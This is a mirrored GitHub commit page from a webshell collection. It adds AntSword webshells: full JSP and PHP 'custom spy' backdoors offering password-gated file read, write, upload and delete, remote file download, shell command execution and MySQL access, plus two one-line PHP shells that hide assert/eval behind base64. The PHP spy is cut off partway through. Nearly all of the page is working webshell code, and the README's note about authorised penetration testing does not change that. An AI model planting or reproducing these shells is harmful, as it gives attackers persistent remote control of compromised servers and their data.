mirror of
https://github.com/tennc/webshell
synced 2024-11-22 11:13:03 +00:00
Merge pull request #10 from Medicean/master
删除原蚁剑 jsp shell, 添加中国蚁剑 shell 目录及多个 shell
This commit is contained in:
commit
f3201ef686
6 changed files with 807 additions and 133 deletions
18
antSword-shells/README.md
Normal file
18
antSword-shells/README.md
Normal file
|
@ -0,0 +1,18 @@
|
||||||
|
## AntSword-Shell-Scripts
|
||||||
|
> 此目录用于存放中国蚁剑一些示例的服务端脚本文件,仅供参考。
|
||||||
|
|
||||||
|
AntSword(中国蚁剑)是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
|
||||||
|
|
||||||
|
官网地址:http://uyu.us
|
||||||
|
|
||||||
|
项目地址:https://github.com/antoor/antSword
|
||||||
|
|
||||||
|
### PHP
|
||||||
|
|
||||||
|
1. [PHP Custom Spy for Mysql](./php_custom_spy_for_mysql.php)
|
||||||
|
2. [PHP Create_Function](./php_create_function.php)
|
||||||
|
3. [PHP Assert](./php_assert.php)
|
||||||
|
|
||||||
|
### JSP
|
||||||
|
|
||||||
|
1. [JSP Custom Spy for Mysql](./jsp_custom_spy_for_mysql.jsp)
|
381
antSword-shells/jsp_custom_spy_for_mysql.jsp
Normal file
381
antSword-shells/jsp_custom_spy_for_mysql.jsp
Normal file
|
@ -0,0 +1,381 @@
|
||||||
|
<%--
|
||||||
|
_ ____ _
|
||||||
|
__ _ _ __ | |_/ ___|_ _____ _ __ __| |
|
||||||
|
/ _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
|
||||||
|
| (_| | | | | |_ ___) \ V V / (_) | | | (_| |
|
||||||
|
\__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
|
||||||
|
———————————————————————————————————————————————
|
||||||
|
AntSword JSP Custom Spy for Mysql
|
||||||
|
Author:Medici.Yan
|
||||||
|
———————————————————————————————————————————————
|
||||||
|
|
||||||
|
说明:
|
||||||
|
1. AntSword >= v1.1-dev
|
||||||
|
2. 创建 Shell 时选择 custom 模式连接
|
||||||
|
3. 数据库连接:
|
||||||
|
com.mysql.jdbc.Driver
|
||||||
|
jdbc:mysql://localhost/test?user=root&password=123456
|
||||||
|
|
||||||
|
注意:以上是两行
|
||||||
|
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
|
||||||
|
|
||||||
|
ChangeLog:
|
||||||
|
|
||||||
|
Date: 2016/04/06 v1.1
|
||||||
|
1. 修正下载文件参数设置错误
|
||||||
|
2. 修正一些注释的细节
|
||||||
|
Date: 2016/03/26 v1
|
||||||
|
1. 文件系统 和 terminal 管理
|
||||||
|
2. mysql 数据库支持
|
||||||
|
3. 支持 base64 和 hex 编码
|
||||||
|
--%>
|
||||||
|
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
|
||||||
|
<%!
|
||||||
|
String Pwd = "ant"; //连接密码
|
||||||
|
// 数据编码 3 选 1
|
||||||
|
String encoder = ""; // default
|
||||||
|
// String encoder = "base64"; //base64
|
||||||
|
// String encoder = "hex"; //hex
|
||||||
|
String cs = "UTF-8"; // 脚本自身编码
|
||||||
|
String EC(String s) throws Exception {
|
||||||
|
if(encoder.equals("hex") || encoder == "hex") return s;
|
||||||
|
return new String(s.getBytes("ISO-8859-1"), cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
String showDatabases(String encode, String conn) throws Exception {
|
||||||
|
String sql = "show databases"; // mysql
|
||||||
|
String columnsep = "\t";
|
||||||
|
String rowsep = "";
|
||||||
|
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
String showTables(String encode, String conn, String dbname) throws Exception {
|
||||||
|
String sql = "show tables from " + dbname; // mysql
|
||||||
|
String columnsep = "\t";
|
||||||
|
String rowsep = "";
|
||||||
|
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
|
||||||
|
String columnsep = "\t";
|
||||||
|
String rowsep = "";
|
||||||
|
String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
|
||||||
|
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
String query(String encode, String conn, String sql) throws Exception {
|
||||||
|
String columnsep = "\t|\t"; // general
|
||||||
|
String rowsep = "\r\n";
|
||||||
|
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
|
||||||
|
throws Exception {
|
||||||
|
String ret = "";
|
||||||
|
conn = (EC(conn));
|
||||||
|
String[] x = conn.trim().replace("\r\n", "\n").split("\n");
|
||||||
|
Class.forName(x[0].trim());
|
||||||
|
String url = x[1] + "&characterEncoding=" + decode(EC(encode),encoder);
|
||||||
|
Connection c = DriverManager.getConnection(url);
|
||||||
|
Statement stmt = c.createStatement();
|
||||||
|
ResultSet rs = stmt.executeQuery(sql);
|
||||||
|
ResultSetMetaData rsmd = rs.getMetaData();
|
||||||
|
|
||||||
|
if (needcoluname) {
|
||||||
|
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
|
||||||
|
String columnName = rsmd.getColumnName(i);
|
||||||
|
ret += columnName + columnsep;
|
||||||
|
}
|
||||||
|
ret += rowsep;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (rs.next()) {
|
||||||
|
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
|
||||||
|
String columnValue = rs.getString(i);
|
||||||
|
ret += columnValue + columnsep;
|
||||||
|
}
|
||||||
|
ret += rowsep;
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
String WwwRootPathCode(HttpServletRequest r) throws Exception {
|
||||||
|
String d = r.getSession().getServletContext().getRealPath("/");
|
||||||
|
String s = "";
|
||||||
|
if (!d.substring(0, 1).equals("/")) {
|
||||||
|
File[] roots = File.listRoots();
|
||||||
|
for (int i = 0; i < roots.length; i++) {
|
||||||
|
s += roots[i].toString().substring(0, 2) + "";
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
s += "/";
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
String FileTreeCode(String dirPath) throws Exception {
|
||||||
|
File oF = new File(dirPath), l[] = oF.listFiles();
|
||||||
|
String s = "", sT, sQ, sF = "";
|
||||||
|
java.util.Date dt;
|
||||||
|
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||||
|
for (int i = 0; i < l.length; i++) {
|
||||||
|
dt = new java.util.Date(l[i].lastModified());
|
||||||
|
sT = fm.format(dt);
|
||||||
|
sQ = l[i].canRead() ? "R" : "";
|
||||||
|
sQ += l[i].canWrite() ? " W" : "";
|
||||||
|
if (l[i].isDirectory()) {
|
||||||
|
s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
|
||||||
|
} else {
|
||||||
|
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return s += sF;
|
||||||
|
}
|
||||||
|
|
||||||
|
String ReadFileCode(String filePath) throws Exception {
|
||||||
|
String l = "", s = "";
|
||||||
|
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
|
||||||
|
while ((l = br.readLine()) != null) {
|
||||||
|
s += l + "\r\n";
|
||||||
|
}
|
||||||
|
br.close();
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
String WriteFileCode(String filePath, String fileContext) throws Exception {
|
||||||
|
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
|
||||||
|
bw.write(fileContext);
|
||||||
|
bw.close();
|
||||||
|
return "1";
|
||||||
|
}
|
||||||
|
|
||||||
|
String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
|
||||||
|
File f = new File(fileOrDirPath);
|
||||||
|
if (f.isDirectory()) {
|
||||||
|
File x[] = f.listFiles();
|
||||||
|
for (int k = 0; k < x.length; k++) {
|
||||||
|
if (!x[k].delete()) {
|
||||||
|
DeleteFileOrDirCode(x[k].getPath());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
f.delete();
|
||||||
|
return "1";
|
||||||
|
}
|
||||||
|
|
||||||
|
void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {
|
||||||
|
int n;
|
||||||
|
byte[] b = new byte[512];
|
||||||
|
r.reset();
|
||||||
|
ServletOutputStream os = r.getOutputStream();
|
||||||
|
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
|
||||||
|
os.write(("->|").getBytes(), 0, 3);
|
||||||
|
while ((n = is.read(b, 0, 512)) != -1) {
|
||||||
|
os.write(b, 0, n);
|
||||||
|
}
|
||||||
|
os.write(("|<-").getBytes(), 0, 3);
|
||||||
|
os.close();
|
||||||
|
is.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
|
||||||
|
String h = "0123456789ABCDEF";
|
||||||
|
File f = new File(savefilePath);
|
||||||
|
f.createNewFile();
|
||||||
|
FileOutputStream os = new FileOutputStream(f);
|
||||||
|
for (int i = 0; i < fileHexContext.length(); i += 2) {
|
||||||
|
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
|
||||||
|
}
|
||||||
|
os.close();
|
||||||
|
return "1";
|
||||||
|
}
|
||||||
|
|
||||||
|
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
|
||||||
|
File sf = new File(sourceFilePath), df = new File(targetFilePath);
|
||||||
|
if (sf.isDirectory()) {
|
||||||
|
if (!df.exists()) {
|
||||||
|
df.mkdir();
|
||||||
|
}
|
||||||
|
File z[] = sf.listFiles();
|
||||||
|
for (int j = 0; j < z.length; j++) {
|
||||||
|
CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
FileInputStream is = new FileInputStream(sf);
|
||||||
|
FileOutputStream os = new FileOutputStream(df);
|
||||||
|
int n;
|
||||||
|
byte[] b = new byte[1024];
|
||||||
|
while ((n = is.read(b, 0, 1024)) != -1) {
|
||||||
|
os.write(b, 0, n);
|
||||||
|
}
|
||||||
|
is.close();
|
||||||
|
os.close();
|
||||||
|
}
|
||||||
|
return "1";
|
||||||
|
}
|
||||||
|
|
||||||
|
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
|
||||||
|
File sf = new File(oldName), df = new File(newName);
|
||||||
|
sf.renameTo(df);
|
||||||
|
return "1";
|
||||||
|
}
|
||||||
|
|
||||||
|
String CreateDirCode(String dirPath) throws Exception {
|
||||||
|
File f = new File(dirPath);
|
||||||
|
f.mkdir();
|
||||||
|
return "1";
|
||||||
|
}
|
||||||
|
|
||||||
|
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
|
||||||
|
File f = new File(fileOrDirPath);
|
||||||
|
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||||
|
java.util.Date dt = fm.parse(aTime);
|
||||||
|
f.setLastModified(dt.getTime());
|
||||||
|
return "1";
|
||||||
|
}
|
||||||
|
|
||||||
|
String WgetCode(String urlPath, String saveFilePath) throws Exception {
|
||||||
|
URL u = new URL(urlPath);
|
||||||
|
int n = 0;
|
||||||
|
FileOutputStream os = new FileOutputStream(saveFilePath);
|
||||||
|
HttpURLConnection h = (HttpURLConnection) u.openConnection();
|
||||||
|
InputStream is = h.getInputStream();
|
||||||
|
byte[] b = new byte[512];
|
||||||
|
while ((n = is.read(b)) != -1) {
|
||||||
|
os.write(b, 0, n);
|
||||||
|
}
|
||||||
|
os.close();
|
||||||
|
is.close();
|
||||||
|
h.disconnect();
|
||||||
|
return "1";
|
||||||
|
}
|
||||||
|
|
||||||
|
String SysInfoCode(HttpServletRequest r) throws Exception {
|
||||||
|
String d = r.getSession().getServletContext().getRealPath("/");
|
||||||
|
String serverInfo = System.getProperty("os.name");
|
||||||
|
String separator = File.separator;
|
||||||
|
String user = System.getProperty("user.name");
|
||||||
|
String driverlist = WwwRootPathCode(r);
|
||||||
|
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
|
||||||
|
}
|
||||||
|
|
||||||
|
boolean isWin() {
|
||||||
|
String osname = System.getProperty("os.name");
|
||||||
|
osname = osname.toLowerCase();
|
||||||
|
if (osname.startsWith("win"))
|
||||||
|
return true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
|
||||||
|
StringBuffer sb = new StringBuffer("");
|
||||||
|
String[] c = { cmdPath, !isWin() ? "-c" : "/c", command };
|
||||||
|
Process p = Runtime.getRuntime().exec(c);
|
||||||
|
CopyInputStream(p.getInputStream(), sb);
|
||||||
|
CopyInputStream(p.getErrorStream(), sb);
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
String decode(String str) {
|
||||||
|
byte[] bt = null;
|
||||||
|
try {
|
||||||
|
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
|
||||||
|
bt = decoder.decodeBuffer(str);
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return new String(bt);
|
||||||
|
}
|
||||||
|
String decode(String str, String encode){
|
||||||
|
if(encode.equals("hex") || encode=="hex"){
|
||||||
|
if(str=="null"||str.equals("null")){
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
StringBuilder temp = new StringBuilder();
|
||||||
|
try{
|
||||||
|
for(int i=0; i<str.length()-1; i+=2 ){
|
||||||
|
String output = str.substring(i, (i + 2));
|
||||||
|
int decimal = Integer.parseInt(output, 16);
|
||||||
|
sb.append((char)decimal);
|
||||||
|
temp.append(decimal);
|
||||||
|
}
|
||||||
|
}catch(Exception e){
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}else if(encode.equals("base64") || encode == "base64"){
|
||||||
|
byte[] bt = null;
|
||||||
|
try {
|
||||||
|
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
|
||||||
|
bt = decoder.decodeBuffer(str);
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return new String(bt);
|
||||||
|
}
|
||||||
|
return str;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
|
||||||
|
String l;
|
||||||
|
BufferedReader br = new BufferedReader(new InputStreamReader(is));
|
||||||
|
while ((l = br.readLine()) != null) {
|
||||||
|
sb.append(l + "\r\n");
|
||||||
|
}
|
||||||
|
br.close();
|
||||||
|
}%>
|
||||||
|
<%
|
||||||
|
response.setContentType("text/html");
|
||||||
|
response.setCharacterEncoding(cs);
|
||||||
|
StringBuffer sb = new StringBuffer("");
|
||||||
|
try {
|
||||||
|
String funccode = EC(request.getParameter(Pwd) + "");
|
||||||
|
String z0 = decode(EC(request.getParameter("z0")+""), encoder);
|
||||||
|
String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
|
||||||
|
String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
|
||||||
|
String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
|
||||||
|
String[] pars = { z0, z1, z2, z3};
|
||||||
|
sb.append("->|");
|
||||||
|
|
||||||
|
if (funccode.equals("B")) {
|
||||||
|
sb.append(FileTreeCode(pars[1]));
|
||||||
|
} else if (funccode.equals("C")) {
|
||||||
|
sb.append(ReadFileCode(pars[1]));
|
||||||
|
} else if (funccode.equals("D")) {
|
||||||
|
sb.append(WriteFileCode(pars[1], pars[2]));
|
||||||
|
} else if (funccode.equals("E")) {
|
||||||
|
sb.append(DeleteFileOrDirCode(pars[1]));
|
||||||
|
} else if (funccode.equals("F")) {
|
||||||
|
DownloadFileCode(pars[1], response);
|
||||||
|
} else if (funccode.equals("U")) {
|
||||||
|
sb.append(UploadFileCode(pars[1], pars[2]));
|
||||||
|
} else if (funccode.equals("H")) {
|
||||||
|
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
|
||||||
|
} else if (funccode.equals("I")) {
|
||||||
|
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
|
||||||
|
} else if (funccode.equals("J")) {
|
||||||
|
sb.append(CreateDirCode(pars[1]));
|
||||||
|
} else if (funccode.equals("K")) {
|
||||||
|
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
|
||||||
|
} else if (funccode.equals("L")) {
|
||||||
|
sb.append(WgetCode(pars[1], pars[2]));
|
||||||
|
} else if (funccode.equals("M")) {
|
||||||
|
sb.append(ExecuteCommandCode(pars[1], pars[2]));
|
||||||
|
} else if (funccode.equals("N")) {
|
||||||
|
sb.append(showDatabases(pars[0], pars[1]));
|
||||||
|
} else if (funccode.equals("O")) {
|
||||||
|
sb.append(showTables(pars[0], pars[1], pars[2]));
|
||||||
|
} else if (funccode.equals("P")) {
|
||||||
|
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
|
||||||
|
} else if (funccode.equals("Q")) {
|
||||||
|
sb.append(query(pars[0], pars[1], pars[2]));
|
||||||
|
} else if (funccode.equals("A")) {
|
||||||
|
sb.append(SysInfoCode(request));
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
sb.append("ERROR" + "://" + e.toString());
|
||||||
|
}
|
||||||
|
sb.append("|<-");
|
||||||
|
out.print(sb.toString());
|
||||||
|
%>
|
1
antSword-shells/php_assert.php
Normal file
1
antSword-shells/php_assert.php
Normal file
|
@ -0,0 +1 @@
|
||||||
|
<?php $ant=base64_decode("YXNzZXJ0");$ant($_POST['ant']);?>
|
1
antSword-shells/php_create_function.php
Normal file
1
antSword-shells/php_create_function.php
Normal file
|
@ -0,0 +1 @@
|
||||||
|
<?php $ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));$ant();?>
|
406
antSword-shells/php_custom_spy_for_mysql.php
Normal file
406
antSword-shells/php_custom_spy_for_mysql.php
Normal file
|
@ -0,0 +1,406 @@
|
||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* _ ____ _
|
||||||
|
* __ _ _ __ | |_/ ___|_ _____ _ __ __| |
|
||||||
|
* / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
|
||||||
|
* | (_| | | | | |_ ___) \ V V / (_) | | | (_| |
|
||||||
|
* \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
|
||||||
|
* ———————————————————————————————————————————————
|
||||||
|
* AntSword PHP Custom Spy for Mysql
|
||||||
|
* Author:Medici.Yan
|
||||||
|
* ———————————————————————————————————————————————
|
||||||
|
*
|
||||||
|
* 使用说明:
|
||||||
|
* 1. AntSword >= v1.1-dev
|
||||||
|
* 2. 创建 Shell 时选择 custom 模式连接
|
||||||
|
* 3. 数据库连接:
|
||||||
|
* <H>localhost</H>
|
||||||
|
* <U>root</U>
|
||||||
|
* <P>123456</P>
|
||||||
|
*
|
||||||
|
* 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
|
||||||
|
*
|
||||||
|
* ChangeLog:
|
||||||
|
*
|
||||||
|
* Date: 2016/04/06 v1.0
|
||||||
|
* 1. 文件系统 和 terminal 管理
|
||||||
|
* 2. mysql 数据库支持
|
||||||
|
* 3. 支持 base64 和 hex 编码
|
||||||
|
**/
|
||||||
|
|
||||||
|
$pwd = "ant"; //连接密码
|
||||||
|
//数据编码 3 选 1
|
||||||
|
$encoder = ""; // default
|
||||||
|
// $encoder = "base64"; //base64
|
||||||
|
// $encoder = "hex"; // hex
|
||||||
|
$cs = "UTF-8";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 字符编码处理
|
||||||
|
**/
|
||||||
|
function EC($s){
|
||||||
|
global $cs;
|
||||||
|
$sencode = mb_detect_encoding($s, array("ASCII","UTF-8","GB2312","GBK",'BIG5'));
|
||||||
|
$ret = "";
|
||||||
|
try {
|
||||||
|
$ret = mb_convert_encoding($s, $cs, $sencode);
|
||||||
|
} catch (Exception $e) {
|
||||||
|
try {
|
||||||
|
$ret = iconv($sencode, $cs, $s);
|
||||||
|
} catch (Exception $e) {
|
||||||
|
$ret = $s;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $ret;
|
||||||
|
}
|
||||||
|
/*传输解码*/
|
||||||
|
function decode($s){
|
||||||
|
global $encoder;
|
||||||
|
$ret = "";
|
||||||
|
switch ($encoder) {
|
||||||
|
case 'base64':
|
||||||
|
$ret = base64_decode($s);
|
||||||
|
break;
|
||||||
|
case 'hex':
|
||||||
|
for ($i=0; $i < strlen($s)-1; $i+=2) {
|
||||||
|
$output = substr($s, $i, 2);
|
||||||
|
$decimal = intval($output, 16);
|
||||||
|
$ret .= chr($decimal);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
$ret = $s;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return $ret;
|
||||||
|
}
|
||||||
|
function showDatabases($encode, $conf){
|
||||||
|
$sql = "show databases";
|
||||||
|
$columnsep = "\t";
|
||||||
|
$rowsep = "";
|
||||||
|
return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);
|
||||||
|
}
|
||||||
|
function showTables($encode, $conf, $dbname){
|
||||||
|
$sql = "show tables from ".$dbname; // mysql
|
||||||
|
$columnsep = "\t";
|
||||||
|
$rowsep = "";
|
||||||
|
return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
function showColumns($encode, $conf, $dbname, $table){
|
||||||
|
$columnsep = "\t";
|
||||||
|
$rowsep = "";
|
||||||
|
$sql = "select * from ".$dbname.".".$table." limit 0,0"; // mysql
|
||||||
|
return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
function query($encode, $conf, $sql){
|
||||||
|
$columnsep = "\t|\t"; // general
|
||||||
|
$rowsep = "\r\n";
|
||||||
|
return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
function executeSQL($encode, $conf, $sql, $columnsep, $rowsep, $needcoluname){
|
||||||
|
$ret = "";
|
||||||
|
$m=get_magic_quotes_gpc();
|
||||||
|
if ($m) {
|
||||||
|
$conf = stripslashes($conf);
|
||||||
|
}
|
||||||
|
$conf = (EC($conf));
|
||||||
|
|
||||||
|
/*
|
||||||
|
<H>localhost</H>
|
||||||
|
<U>root</U>
|
||||||
|
<P>root</P>
|
||||||
|
*/
|
||||||
|
$host="";
|
||||||
|
$user="";
|
||||||
|
$password="";
|
||||||
|
if (preg_match('/<H>(.+?)<\/H>/i', $conf, $data)) {
|
||||||
|
$host = $data[1];
|
||||||
|
}
|
||||||
|
if (preg_match('/<U>(.+?)<\/U>/i', $conf, $data)) {
|
||||||
|
$user = $data[1];
|
||||||
|
}
|
||||||
|
if (preg_match('/<P>(.+?)<\/P>/i', $conf, $data)) {
|
||||||
|
$password = $data[1];
|
||||||
|
}
|
||||||
|
$encode = decode(EC($encode));
|
||||||
|
$conn = @mysqli_connect($host, $user, $password);
|
||||||
|
$res = @mysqli_query($conn, $sql);
|
||||||
|
$i=0;
|
||||||
|
if ($needcoluname) {
|
||||||
|
while ($col=@mysqli_fetch_field($res)) {
|
||||||
|
$ret .= $col->name.$columnsep;
|
||||||
|
$i++;
|
||||||
|
}
|
||||||
|
$ret .= $rowsep;
|
||||||
|
}
|
||||||
|
while($rs=@mysqli_fetch_row($res)){
|
||||||
|
for($c = 0; $c <= $i; $c++){
|
||||||
|
$ret .= trim($rs[$c]).$columnsep;
|
||||||
|
}
|
||||||
|
$ret.=$rowsep;
|
||||||
|
}
|
||||||
|
return $ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
function BaseInfo(){
|
||||||
|
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
|
||||||
|
if($D==""){
|
||||||
|
$D=dirname($_SERVER["PATH_TRANSLATED"]);
|
||||||
|
}
|
||||||
|
$R="{$D}\t";
|
||||||
|
if(substr($D,0,1)!="/"){
|
||||||
|
foreach(range("A","Z")as $L)
|
||||||
|
if(is_dir("{$L}:"))
|
||||||
|
$R.="{$L}:";
|
||||||
|
}else{
|
||||||
|
$R.="/";
|
||||||
|
}
|
||||||
|
$R.="\t";
|
||||||
|
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
|
||||||
|
$s=($u)?$u["name"]:@get_current_user();
|
||||||
|
$R.=php_uname();
|
||||||
|
$R.="\t{$s}";
|
||||||
|
return $R;
|
||||||
|
}
|
||||||
|
function FileTreeCode($D){
|
||||||
|
$ret = "";
|
||||||
|
$F=@opendir($D);
|
||||||
|
if($F==NULL){
|
||||||
|
$ret = "ERROR:// Path Not Found Or No Permission!";
|
||||||
|
}else{
|
||||||
|
$M=NULL;
|
||||||
|
$L=NULL;
|
||||||
|
while($N=@readdir($F)){
|
||||||
|
$P=$D."/".$N;
|
||||||
|
$T=@date("Y-m-d H:i:s",@filemtime($P));
|
||||||
|
@$E=substr(base_convert(@fileperms($P),10,8),-4);
|
||||||
|
$R="\t".$T."\t".@filesize($P)."\t".$E."\n";
|
||||||
|
if(@is_dir($P))
|
||||||
|
$M.=$N."/".$R;
|
||||||
|
else
|
||||||
|
$L.=$N.$R;
|
||||||
|
}
|
||||||
|
$ret .= $M.$L;
|
||||||
|
@closedir($F);
|
||||||
|
}
|
||||||
|
return $ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
function ReadFileCode($F){
|
||||||
|
$ret = "";
|
||||||
|
try {
|
||||||
|
$P = @fopen($F,"r");
|
||||||
|
$ret = (@fread($P,filesize($F)));
|
||||||
|
@fclose($P);
|
||||||
|
} catch (Exception $e) {
|
||||||
|
$ret = "ERROR://".$e;
|
||||||
|
}
|
||||||
|
return $ret;
|
||||||
|
}
|
||||||
|
function WriteFileCode($path, $content){
|
||||||
|
return @fwrite(fopen(($path),"w"),($content))?"1":"0";
|
||||||
|
}
|
||||||
|
function DeleteFileOrDirCode($fileOrDirPath){
|
||||||
|
function df($p){
|
||||||
|
$m=@dir($p);
|
||||||
|
while(@$f=$m->read()){
|
||||||
|
$pf=$p."/".$f;
|
||||||
|
if((is_dir($pf))&&($f!=".")&&($f!="..")){
|
||||||
|
@chmod($pf,0777);
|
||||||
|
df($pf);
|
||||||
|
}
|
||||||
|
if(is_file($pf)){
|
||||||
|
@chmod($pf,0777);
|
||||||
|
@unlink($pf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$m->close();
|
||||||
|
@chmod($p,0777);
|
||||||
|
return @rmdir($p);
|
||||||
|
}
|
||||||
|
$F=(get_magic_quotes_gpc()?stripslashes($fileOrDirPath):$fileOrDirPath);
|
||||||
|
if(is_dir($F)){
|
||||||
|
return (df($F));
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
return (file_exists($F)?@unlink($F)?"1":"0":"0");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function DownloadFileCode($filePath){
|
||||||
|
$F=(get_magic_quotes_gpc()?stripslashes($filePath):$filePath);
|
||||||
|
$fp=@fopen($F,"r");
|
||||||
|
if(@fgetc($fp)){
|
||||||
|
@fclose($fp);
|
||||||
|
@readfile($F);
|
||||||
|
}else{
|
||||||
|
echo("ERROR:// Can Not Read");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
function UploadFileCode($path, $content){
|
||||||
|
$f=$path;
|
||||||
|
$c=$content;
|
||||||
|
$c=str_replace("\r","",$c);
|
||||||
|
$c=str_replace("\n","",$c);
|
||||||
|
$buf="";
|
||||||
|
for($i=0;$i<strlen($c);$i+=2)
|
||||||
|
$buf.=urldecode("%".substr($c,$i,2));
|
||||||
|
return (@fwrite(fopen($f,"a"),$buf)?"1":"0");
|
||||||
|
}
|
||||||
|
function CopyFileOrDirCode($path, $content){
|
||||||
|
$m=get_magic_quotes_gpc();
|
||||||
|
$fc=($m?stripslashes($path):$path);
|
||||||
|
$fp=($m?stripslashes($content):$content);
|
||||||
|
function xcopy($src,$dest){
|
||||||
|
if(is_file($src)){
|
||||||
|
if(!copy($src,$dest))
|
||||||
|
return false;
|
||||||
|
else
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
$m=@dir($src);
|
||||||
|
if(!is_dir($dest))
|
||||||
|
if(!@mkdir($dest))
|
||||||
|
return false;
|
||||||
|
while($f=$m->read()){
|
||||||
|
$isrc=$src.chr(47).$f;
|
||||||
|
$idest=$dest.chr(47).$f;
|
||||||
|
if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){
|
||||||
|
if(!xcopy($isrc,$idest))return false;
|
||||||
|
}else if(is_file($isrc)){
|
||||||
|
if(!copy($isrc,$idest))
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return (xcopy($fc,$fp)?"1":"0");
|
||||||
|
}
|
||||||
|
|
||||||
|
function RenameFileOrDirCode($oldName, $newName){
|
||||||
|
$m=get_magic_quotes_gpc();
|
||||||
|
